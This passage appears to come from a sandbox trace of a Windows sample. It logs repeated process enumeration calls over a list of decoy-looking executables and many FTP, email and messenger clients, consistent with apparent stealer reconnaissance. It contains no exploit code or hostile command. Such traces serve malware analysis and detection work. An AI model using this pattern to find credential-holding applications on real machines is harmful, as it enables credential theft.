[0109.491] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.493] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0109.495] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 0 [0109.496] CloseHandle (hObject=0x1008) returned 1 [0109.496] Sleep (dwMilliseconds=0x64) [0109.598] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1008 [0109.612] Process32First (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0109.615] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0109.618] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0109.620] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.623] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0109.625] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0109.628] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0109.631] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0109.633] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0109.636] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.638] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.640] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0109.643] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.649] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.651] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.654] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.656] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.659] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.662] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.664] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.667] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0109.669] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.671] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0109.674] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.676] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.680] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.682] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0109.684] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0109.687] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.689] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0109.693] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0109.695] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.698] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0109.700] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0109.702] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0109.704] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0109.707] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0109.709] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0109.712] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0109.714] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0109.716] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0109.718] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0109.720] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0109.724] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0109.727] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0109.729] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0109.731] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0109.733] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0109.736] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0109.740] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0109.743] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0109.745] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0109.747] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0109.749] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0109.751] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0109.754] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0109.756] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0109.758] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0109.761] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0109.764] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0109.766] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0109.770] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0109.772] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0109.775] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0109.778] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0109.780] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0109.783] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0109.788] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0109.791] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0109.794] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0109.796] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0109.799] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0109.802] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0109.805] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0109.807] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0109.810] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0109.812] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0109.815] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0109.818] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0109.821] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0109.824] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0109.826] Process32Next 